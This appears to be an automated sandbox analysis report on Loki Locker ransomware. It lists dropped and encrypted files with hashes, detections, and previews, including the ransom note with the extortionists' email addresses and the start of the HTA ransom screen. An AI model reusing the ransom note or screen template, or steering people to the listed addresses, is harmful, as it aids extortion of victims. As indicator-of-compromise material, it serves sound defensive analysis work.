SHA-512:	C0A46F19B10FEEC314F8F9A8C8136B7EB2575DD901726B5D9DF2F9BFCE9E03448981D7685A3C7EF4FF5FBFD8BC76A12E641096107A76F862CF53214CD0701669
Malicious:	false
Preview:	aFpTPMeOLzkZf/U7S+5LE7wQpPhuYYt2h71l0sOjH3N5jL+BQpjEIrl3rBln08PonAFOej32zEkz..5JmAdGdd4mM26NMOhjFDYmEbNxv8wo9TP0JwGoerBEImK3MaQ4biWLJ8eig6BygkQsgWhW3g+W/s..y1UmNLMZXkd7tT5d6U8QQqBA+l0zuM3YXIMt6s0lssezZTuuJR3vHupE6lOlAwKLRIvOvcOUrYli..M1S37e3d7KtFTfhqUis69dAXQubK3jqwjIWAY4bvOiXDfX5tVbI1k/HbY70drfwTBL7dZZcbd2Zg..Qu2IBorgXPWBUmx94U+jszt46QtZMX8OEFQzWByn+JMG2WFRE8B9HXikVEHyZwyzXmrl/V4F3F02..djfyX1/wm/yCYVRacOCSLin43U2OlFgsdSwqIyYHLPAlIPTe9UKENsfYRwadlW18V8OvZqvY414R..9r02ylF538N32UrRSl3l33nWkj8j3njTVW5wP3B2e6Qwif/pgrVWzEsC+opmYs7HQnkb6nUPP+Xc..mBZQm47Wldh7IC3nVIIO3sEKdFQDLfpTmmEkK7tibDk1moeE6OJ1zQsO7mJF95a0wh8D9BeOpPAo..uhcw10a7hIFGIttp/0Ce7gmDZAywQJqzoPOhUpJgjiGREZ8tnv4qLihvZzH9ThgJvpVlEhLwrlOI..uvnsIbH1o3s0tQZFsE08ZE5hWXnys5fB+nWT+03gRZr93xNezMEu5khpSLY19TWJWVM7S9dwzaiY..Lr7PB3zAKGfZs6J6pEAHIzG9/CJo2CYyNIcDiH4bWFv3xJfRTtgN++jiqcu5fX9Oi+b2DEW90PPv..ZN9wNelChzupY+ULTSnpok62aoNXlkSC57Bm/jwTab57In7FPwyn61fw6+055MBcp8GGMKw8eiAZ..IOrYOhedeFH7drkD4g/qHSPY1j47/CLid9/RFkC++csa5rNOxqHmeEvpNwtVbFGH

C:\ProgramData\Cpriv2.Loki Download File
Process:	C:\Users\user\AppData\Roaming\winlogon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	6.033072242901246
Encrypted:	false
SSDEEP:	48:DmIsmn8cB8jRyKzr+n2/BKSKZebf9d8W1hzTBBsyMlxKhFL7eez5RMN/entSaSGg:Dyml8/3+oXKZk9dr1hzTXMmPGEM/kaB
MD5:	68671F2E9E50E748B7875157E364C6C9
SHA1:	E05FD036E5FF08FB51B9379DBE66B40670B05599
SHA-256:	80AD66E006F2A01C4CA0362B7C3B0D0FA8E5D97DDA73992E3137EACE6267A432
SHA-512:	4B521CFA8656FBF539FD2113FAD86A423CB695BDC8369523CEFD913716FBE1B7DF7AA01858BE2784D2337A1BD4946FF0843376F3C2B717939EF7585D58DE9AD7
Malicious:	false
Preview:	GeLZL5N6oZm1SvzxrGfa6ujiI53yynrCnNq3lu99nVYqe2EQ8JI73wUkILAgw9pK1cDvahjr97Ue..YllkvVDBP4rSI1SAKX4K9Y8kXHapLqxVrY4ll+1j6L40+it1OTmfAhqdj3yhpOuFywDoVxGHaYXo..gSBuQ0uac54lu58afk+C8zZBBXYjpRav/IgYtVDFsjA3A1LvpSce2Udd2a4VD8rvQqtkxsGbe9jc..CMAiXiZMQqsNUHYIjmbi2vvXKbo/Pm044Xn8lggUJ7Pln7YmNZTmz72yhM4zH0XVCmpEIbrkJpcm..onU7bGnzjfZ0ea1zS8VO2YffeAXW7M4HwG3Rl4rRmVVCKF9CJZPRrzGi90RBBSacaQ07lMRYzoh+..w5pxWa1YVR7TIQjHNYxtmmC8AuzM9HkYNvG6Ne+mHt/Pwo7Gpc1lKPZ+fXKTEt9BVAse3Skw6KiD..8/cGDZ8HuuemgDUH7vhTS1JSckBdox4g7WSZGwKS4rN8qhekxzOIQV3EavrfRspxh1cziCfPeb80..xA/DXI/pDGQLEI/v7VlT6+FbN/ahpcNlpjuuBtuBAiRbnACF2ovvzVHrZ+QSwVlE9wNYmMTW9jA8..9UlisMLb2yXmWZuDEAV5QHGxt1pTG5AgiaGEu5H2r9avqIIQfa84HgCijE5xuLazP7xo6M/ClT1X..6gkb4W2B27WZuu+Yg/akIfmAuxDtzJz6cXFsMO3ZkmJsmw3DDgMfYGYasojqyl0hvO5s2AXMgKqr..dq/8MlvL27KSMKYNtwHABsoD7NILZWcdbuGqD3a0Yu1rIbiWZn2Il6qBwvHerNbH923Nwi90z2v0..CexZ5DOafoa1wRT6j0HNSjicxcEh9ff3bxs2W6X8vVTDquSOmEvEiNJsQBNB9KadBiNzHhe0NzF7..XdG1jjs2NeAxedoL57zrbtPNX8TMsozmCQiEwkvUGKoMaU5Ar1gx9rvKFUWvGzrt

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	476160
Entropy (8bit):	7.3420684875502955
Encrypted:	false
SSDEEP:	12288:hVSBgkHStQxBJ12FdyfrlTT6zncVUJ7vn:hVcJz2SBTT6DN
MD5:	3504DD5CCAEDEF6D34D7E9090458E58B
SHA1:	7B73993FB07C0B16171BAD449E49C9344CA87D6A
SHA-256:	F2DA3D1410C5058720A4307ACF5FEC7FC2B54285BE9DD89EAE108CCE368DCDE7
SHA-512:	837D045DC044B881E969C0A4DBF34B178142733A26C38F38F56F442AAB5E3BB3D2BAD8094A00F99575AB4417A4BC04EBB669552D9704A32793A88E0DF8E9E19E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...".b..........."...0......\............... ....@.. ..............................S[....@.....................................K.......................................................................................................H............3?.?.6.(... .....................@...)f$.Tn'l.(...`...*..................@....text...h............X.............. ..`.rsrc................:..............@..@.reloc...............@..............@..B.RVA.................B.............. ..`................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\ProgramData\g43m2pr1.exe Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.539347146848049
Encrypted:	false
SSDEEP:	384:NTQDC8OH8XpDVnq6eCui9Q65nV13XonFE8KmMvLoeISeuulpIYryupoUANYsX:tQJOH8XpDVl31NxqtlevuG
MD5:	8A01D2CB37B38455FFE6C2C2FEA22C4E
SHA1:	069A6BCDB9468EAA9C7BDC6E5E9958DD02242B36
SHA-256:	3D70ACBD9389BDAC7B25A66979252B3B89E3C9D6E5EFF2FEAAED1D4958FC86DE
SHA-512:	71709AE0C8864BD42B58175D4195F5A4216E81321E8D76FAD66DA76DECD61BA458D9ED6DADD4D3A340B3AC68EC45B7EB56CD9B300665175DD08E3C3FA9054AB8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.....................v......~(... ...@....@.. ....................................@.................................0(..K....@...r........................................................................... ............... ..H............text........ ...................... ..`.rsrc....r...@...t..................@..@.reloc..............................@..B................`(......H........ ..t.............................................................(.....0..M.......~....r...pr...p.@(....&.#(....r...p(......(....,.r$..pr8..p.r8..p(....(....&..(....*...BSJB............v4.0.30319......l.......#~..........#Strings........<...#US.........#GUID.......t...#Blob...........G.........%3................................................................<.5.....u.....u...........5...%.5...1.....W.M...d.M...p.5.....~.................................$...........

C:\ProgramData\info.Loki Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	HTML document, ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	4079
Entropy (8bit):	5.23503111030279
Encrypted:	false
SSDEEP:	96:Fp17/RcMD6tBMhxNK5Po5PY5P/Z79PJaQv/1buV80R4cC/gQUQWXm:Fv7/RybMhHK5w5w5HZ79cQv/k8mrC/go
MD5:	39DCEF61AB4493836408564472216B49
SHA1:	734B2F8D1063965A8B48C7992A767AFBEE03C33D
SHA-256:	4025C91A50DA1EF79A2E6034B68591503AECF8CD2A50FF63EBE72493BE8D9F74
SHA-512:	57AEED43D000BEC23A1EB3FB840761766B6E3E5A4B6BF31B6D1A62F1EE62D9AB6B77DF54613D481071650DF4326E1EC72BC813C72173B1F13E92ADB419091729
Malicious:	false
Preview:	<html> <head> <title>Loki locker</title> <HTA:APPLICATION ICON='msiexec.exe' WINDOWSTATE="maximize" SINGLEINSTANCE='yes' SysMenu="no" contextmenu="no" scroll="yes"/> <meta http-equiv="x-ua-compatible" content="IE=9"/> </head> <style type="text/css"> body{background-color: #000000; font-family: Arial, Helvetica, sans-serif;}#t{text-align: center; color: #FF0000; font-weight: bold; font-size: 1.51vw; margin-bottom: 0;}p{text-align: center; font-size: 1vw; color: white; margin-bottom: 0;}.t{text-align: left; margin-left: 2px;}.pt{color: white; font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; font-size: 1.1vw;}.b{padding: 2px; outline: none;}ul{font-size: 1vw;}.m{background: rgb(189, 54, 54); padding: 1px 5px; font-weight: bold;}#tm{color: red; text-align: center; border-bottom: 0; font-size: 2vw;}</style> <script>var countDownDate = new Date(2022,0,10,9,36,1).getTime(); var x = setInterval(function () { var now = new Date().getTime(); var distance

C:\ProgramData\logs.txt Download File
Process:	C:\ProgramData\winlogon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	830
Entropy (8bit):	4.84264858711064
Encrypted:	false
SSDEEP:	12:zx4KkIaN/Z+pvYoUf4bL4YkIaNtZnEpvYoOd4v:zxCIY0p2fOLEICupcdi
MD5:	26691F5EAB5EDB126261D3739E893C59
SHA1:	E5D7193FCA7316654ECA1E0792D736515747451A
SHA-256:	A01547CC9520B69EB98A22F1F136F0F4830C9BA3DB2CAE649D5B040B6AAC41B5
SHA-512:	D9686990B6B7D86F2891628DD790A4CD64406A7B9DDCBCC2CD78E6BDEA427A69D89E6B566E0008C3412D207DE9530D9FE01E8F1F89573EF697999F1979D55F2F
Malicious:	false
Preview:	************** Loki started at 12/26/2021 in 9:36:31 AM ************..[INFO] [12/26/2021 9:36:31 AM] Error handler initialized successfully...[INFO] [12/26/2021 9:36:31 AM] Opening Mutex...[ERROR] [12/26/2021 9:36:31 AM] Ransomware is already running as another process...[INFO] [12/26/2021 9:36:31 AM] Exiting with code 0...************ Loki finished at 12/26/2021 in 9:36:31 AM ************..************ Loki started at 12/26/2021 in 9:36:37 AM ************..[INFO] [12/26/2021 9:36:37 AM] Error handler initialized successfully...[INFO] [12/26/2021 9:36:37 AM] Opening Mutex...[ERROR] [12/26/2021 9:36:37 AM] Ransomware is already running as another process...[INFO] [12/26/2021 9:36:37 AM] Exiting with code 0...************ Loki finished at 12/26/2021 in 9:36:37 AM **************..

C:\ProgramData\winlogon.exe Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	476160
Entropy (8bit):	7.3420684875502955
Encrypted:	false
SSDEEP:	12288:hVSBgkHStQxBJ12FdyfrlTT6zncVUJ7vn:hVcJz2SBTT6DN
MD5:	3504DD5CCAEDEF6D34D7E9090458E58B
SHA1:	7B73993FB07C0B16171BAD449E49C9344CA87D6A
SHA-256:	F2DA3D1410C5058720A4307ACF5FEC7FC2B54285BE9DD89EAE108CCE368DCDE7
SHA-512:	837D045DC044B881E969C0A4DBF34B178142733A26C38F38F56F442AAB5E3BB3D2BAD8094A00F99575AB4417A4BC04EBB669552D9704A32793A88E0DF8E9E19E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...".b..........."...0......\............... ....@.. ..............................S[....@.....................................K.......................................................................................................H............3?.?.6.(... .....................@...)f$.Tn'l.(...`...*..................@....text...h............X.............. ..`.rsrc................:..............@..@.reloc...............@..............@..B.RVA.................B.............. ..`................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\winlogon.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\Default\NTUSER.DAT Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	262400
Entropy (8bit):	7.999478061386535
Encrypted:	true
SSDEEP:	6144:2ZvJnHLipjBihX0Mj7/2/X2jdd0PUeooSYOZMnf:2ZvJriuhEMjSh9KYOKnf
MD5:	1D157A3A7FB5A48844FE99F11F95AA8A
SHA1:	7102B86A608906FF51500098F2EE6FA2B55448AD
SHA-256:	16B9D9A01E47C784986DFA7DD6ABAFD31F7E8B56403084FE88CE9B2DD6D9AF03
SHA-512:	84145FCAA9D73EBF8090141375104EB73E40643F4A987043D92718DE49CBE538E1A1893A458A22E0785A286424BECF9471035252704B2D718ECA10473FF6604D
Malicious:	true
Preview:	o.........{{.I7..M....B.g,l..-..?.eqr..{..%.:....._..F..D`.....Iw...r._.Y.!Y..r.W..l..._.#.............[..^.}.!....q.-N.52`..u.....H...`.Z"...~..A...by.L..f..CW.T...6O...59.EJ........j..V...KI.up.cU..}S...f%.l.X`..+.i\|.G.s&OF+{.....K.@d...&d..2y.~Z.L_fv..`..8.H.b:1..ky....G..s.....e..7...`W.o.t.x`kL.C .'....I..-.LT!.....;..p.x......c.........`.V..&P...;.4$..b..\..:4$...v...&....`.b.b~..D.8y...E....&.[.$.so...;.P....C_..x.....r...B(w.....\..e.Nd.X7X..-.@..@.....@....Mv.k.....V..R..;.#bI1dW...R......\|.g.[.J1..M./.....\.~f...?~y.m.."yx..m......'..1.&..,..Z..h........I.....31h.$`...v..q...^....M.0..O...-...........l./....G.L.r.QP{..B7zZ..3].E..;\.l..r..}...L...p..51@\..& :.;Ed.........A=.....F....i.u.f4.^.J5.....W.'..Y........1.32.n-..).o.f.N.0.p?..q.`c.?.:...4...s%...h.xw.......c}..nZ....z.:......$..=..J.tL..=.....B](W..B.i.......v.....QT....P...G..4.6.d.e. .....Q9..V...93...9...-..2m.`....Mt8..1..,p..uj.E........f.{...p.S..9q...W..&"

C:\Users\Default\NTUSER.DAT.LOG1 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	57600
Entropy (8bit):	7.996572298465307
Encrypted:	true
SSDEEP:	1536:Bdpm353Y/b8VKYXfrzLLY3Z5V1TdUunvN0mM0Xuq:xmp3GbMKOfrzfYDVxdFnV0mM0Xuq
MD5:	EDF6670C044E3F75A0AEC33A7D71E78E
SHA1:	35DCB73C4A5A5C13BEC4EBEAEC04ADECB2DF2A5C
SHA-256:	AFD99A86062B56F41A7A0FE8596DF732F13AD3AE3EA8EEA6B06910BAAD97708F
SHA-512:	8B4EE03C541CE5B573EDF9E330CACA055054A9B50F1F3C2438875DF9672ADB60266850ABAEFF0DDF6DA7ABFE6DAF91B04424AD08634E8A5139EAF5A29F1803A7
Malicious:	true
Preview:	...Zm'$3}.m..?..9..z.4.s\|.8..._r .M.'.K..._c2....G.d7..4.......].8-y....,8...ek.....E.....nt..../.K.m..'.=..YS.:l....K\|U..;.?/ZT.t.C..em..Y)(.&.k..>.fy%.b'R`..IS..:.6.WH.;.....$.4.Sa/R:.[.L......^..GzG.R..`..'!.E..4G(./O....W]Q..)2<..WBZ..{...-.e..K..<q.&P...5!.%.{...:^...^.h.9..#....^......K.i.9..A2.......h...?G.IH.Yb.P....He..e..p....g`..!.C.H......F...+.gC..t.`...Yr.;"h.2\|pl.F.T^.C....8`.J...i........@ Y..YDK`..w.b.].Kl}).3........_.v.5...3..9.z.#lj.8);..Y0..E..96Qd .D%.w....h.{.i.@..}v],$?d.,....j.D=..c$....\...i..E....2.s....X3.+h........J.L........=...:.........p.5B.!.p.'..C...U.../.N[.ay...Vm......FJ...E.....,8.h.. ....UGvrx...ig.E.a{F.8..%...2.?..c.,.......D..;....#5...'....B..9.O.....'../+C3...5T.3..x....HC..M....k.cH.=2H.1........~...wC..)..L&..Qk...............J.....U.Y`.(.b{.b.Z?./...Bi...WP kc.u.....[......^F..8..;.(H....5..m..pX*.>.. .a....\|..z:~.h.s...\.w..3:.e/...!9s... .4..D..d.6..C....z$...,..>...Y..t.T...2@U<f.m.

C:\Users\Default\NTUSER.DAT.LOG2 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	256
Entropy (8bit):	7.25176220694674
Encrypted:	false
SSDEEP:	6:FIOSdyesUBiaU2sTuODF/9FpV/sM7ldEmz6r3LRvq2E8zLPq:BHUI2sTuODFFTV/lR6fRC25z+
MD5:	CFE568E53708A4AB9D9FDD936DA28AE0
SHA1:	A22C29DF51FAAEA2308A8C0D106BED4FF1F37426
SHA-256:	4BF2A147CD5F9C280E5153E3DE269B7F93C9E1997569AB017BA3B8CA1AFCC86D
SHA-512:	7D07928E75D62167D9E64946EA41E9EE6C2AE1246DA625E7CC742504CE87A2A10EB3D064368080677DA6C7C6F5239A95C5F3EBD3BC33D63E47D1B4B2D4F696C4
Malicious:	false
Preview:	.=y.......t%...(....-"W#..u$...jr+*.)..3.....$.u...%..;.J.Lb.T(.n.A.F..o+\b.iGCQI........:B...)....i......E..0..._}\|.e.>...\..E.<./0zfw..,..l...O......$./.q.J4........\|.$c..n.`B.U.r........5q.9...tg2..b..}....7..Q..`v.jK......x.q\|Z8.3.'.y.j.

C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TM.blf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	65792
Entropy (8bit):	7.997064320354328
Encrypted:	true
SSDEEP:	1536:g3/QOABFq94ADw6pZJdOQQTftQ+axF0g5cuq:G/QV/O4ADpLO7ZQ+nOq
MD5:	35928A0A791D65CB1745D78512EA843B
SHA1:	43FC11054DFFE6F95A3DB3F4DB0E1AE80C8F650D
SHA-256:	B52C39370FE6E8B57FEBC1D806656126FB6E5BEE84BB1B7B9050E090CEB328BD
SHA-512:	4AE9C50024383D58DE9B31295372FCD7B7DC62013EFED21CBE12E05958F4308BBBC46A4E3FA83926B0E0F3E2A20F426908753FA68CBC2B43A1FA8C423338C2F8
Malicious:	true
Preview:	2.w.u.-[.[Ei3.^.N...c.......l.J..Jn.G.d...h...%..cq..C.-6r........]_....`..[-F....Z.d."....... .Hn..0].4,...s.......K.B%.5C.).C.y.(..."...U.s..#0S......g@..3W^X.q..AY.........Li..>..:k..0.G.Cj 0!..@c.o.R.....e.#....$...+0..[...m....m.&.b+.K...b2/.....A.^m4&5..af..0/.Ns.lM.L.{.>....9.N4{.e....a..iNqe?......2Q`\...L...G?8.L.'/...,.)i...Lt.z4i....FRB.d..........":..)....."....T..nI......Cb,y.$q...3.G.2.....OV....d'.f.B<LV.8j....Mqo.Z.z."..3..?....e....0...Um.8.e&.]..aH.3'.....+_w....Q..{.UK..BL....).3aC.."4..._..N..$B....B6.!.../:.eo.6h....u9........+..9..].....(.J..i......&0..:6....P{a.j.-.(l;..N.W{..E.8.../"..7>.TVU.Ts..........M{.......A.&>.]....a.@....>..C0.Pv.A....N..>]....8.OF...3....A...............y Ayc..h\.,Y..U..;/+..6...~j.o...\|A......N"LL..gH.....N.4.s.+.\...h...$.IU.gXP..<%..)-.W..........B'...g.L1..zvw.O...T....'m.b.a......Kb#FT*~w@P.T.w...+.YU....8...3`.Y.M%..W..(Z.....z.B[..~.........}.v.(.1.2i...........d^9..!..`.S.1...6...R.

C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000001.regtrans-ms Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	524544
Entropy (8bit):	7.999680704006625
Encrypted:	true
SSDEEP:	12288:cO1NQz52SazY0/g6w049cX7UAN3493bPpxPeox/MY:c7zwSa0cgoX7UAtQ3Lx/MY
MD5:	FFFE5B0082971E885C5DA857438A6A36
SHA1:	628A5008109C7913B78FE17C6207AEB6867A3E52
SHA-256:	73B7E1DAD7B1607E6B52464071B05214D6F6206C05B2FD0683808CF6BE9F5D64
SHA-512:	422FAD62135575CC21ABCF9A328341BB43A7246545BB8DCE2A694D0B182FE0746694F2333AACCC0FBACBF636174E2FF072B5111A4DA86BF351FC46BB6D38C23B
Malicious:	true
Preview:	9.'9.(!#ai .T.%v..[...q../Z..J.+8I...Z...A.1.L..ne..A.,b#..J.{.I.._......~.\{.X&X...4l.&Wb.!.....0 ......o..+`.M...`..>...'2\|....'O...Q..n....r..Nu,..s{...Tv.n$...J......#g......qn...(.i.\|....N.6......:..._...XZE....~`$..\.....v`..#.....D....N1..8.Z.v8.....f.3`/...#T..........ur!.7.V...hZ.C.)`.H#..g..2.!.!.e...z../g>..Z/...XmL...........tDnv...o....oY..3.....5.@P....I.v.&.._.U`JY..i.V7...............#.<..[.....).JGa0.._....iV.`..tu.....M.2..Q....;Q..Oi.^.~`.P..Y.._....H..8%By^h..1..-K...-...2N..c.LZ.Z.......L....U..c..^.0..$Y4.1.gl.0..$9H.....d.<.....O4.]...q.<...i....PJ.:....e.X...j..z.H..z.x...r...7.@B....T.hB..SR..mG.;_.}....=./SZ.K,"...].4u...&..qJx.....r.;.H....X.x..@.1..~.VWQ........N.DQ...&DY{.q.....pwm7....Ja.@T...;v....z.6.....:.yN:..}J........l..xS...e.Y;0.@...9K.U.V8)P.s..Z..S..b. q~.h...p\........./.....C...../[1;..:..&...v>.\|k.....+..)")5K{..<....>d.d4PJ"..?3c.`...8..hP@..g..E.. .w....v.b{5..<..ev.........

C:\Users\Default\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000002.regtrans-ms Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	524544
Entropy (8bit):	7.999680504538118
Encrypted:	true
SSDEEP:	6144:hsG8/qvkZkfZJxxU/sGwV+gZNxsxZYPYf3GfKn948Y0mtPDvlzBE0e1NgFZPPE:zF+svxxUsGkZLsOLfm48Y0m5TDvGG1PE
MD5:	89F9EE32D51401C24B231D4BA40E6991
SHA1:	0229D6EE56E083063614D8A9CF4C62423D6F597F
SHA-256:	791137BC26538834AC748B5365B29AC427CCEC060A66F7B7B47F8E987851439C
SHA-512:	D0EAE92FCB0659F5CBD04F59F91ADD34608F449CE29032B24B682E93BF4FD0E260E3685E067C4661CE4355868D7595B0C3C2709C7868D34611D08206A043DD50
Malicious:	true
Preview:	...s.e...;...?s`...g[o..x......$..<i.&.=#%..f`.'.n_.I....r.FO}8B.).G.CH?&.....\...2>...\|..TZ9..T..NZ. .Y.4:..J.B/..<q..4O>..%..Ybxt_&.:.#.).?...+C...S.;0..).%..!-.a(.<..E%...]..<aIF../eR.N...7Qm"....4......H..Si.>..89...>[=W...B....~.yX.m5)L..l.1..[.Q.~.o..T..X.'..1..B.$.$..H.zy....7..s...V>..B..i..RUe....a.....3.;..a..\|&.s.`......SV.w.w.[...A...........N.F.q.t.:.iS.q..w....D..gP..8.U&..^...!..gV..1...[U%.....`.....U.:....v...>,t.[.c............j.....Ic0..e..:@Q!..O....e.... ....U.q.W.........j!uk./n]vi..8..g.V.5p{.^...n70#.:..Y...B....i=.mP....<.e..jG.s...o.}.R0...m.....:...].{_...`.....W.....r...T7.0N.d.F..O(..x...z.c......I. .;..Q.e@....A4.c..l.):......5... .....`.8*#0...i.fh.....H....M.f....?......I..t.....q...)..B....`.....M.......>_0..:....js28.{;.l..S.....\...d9.. ....?.....x.IC.X......=..._..j.S.%....e..H...&G8./.\2...V...(..]vk&.....\|...M&jsM..A.r.-0.]..4.SA..1..G.D.;.@p.H.^.......$.....W.~R.;..A.....-.ar,.R..". ... .

C:\Users\Default\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\Public\AccountPictures\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
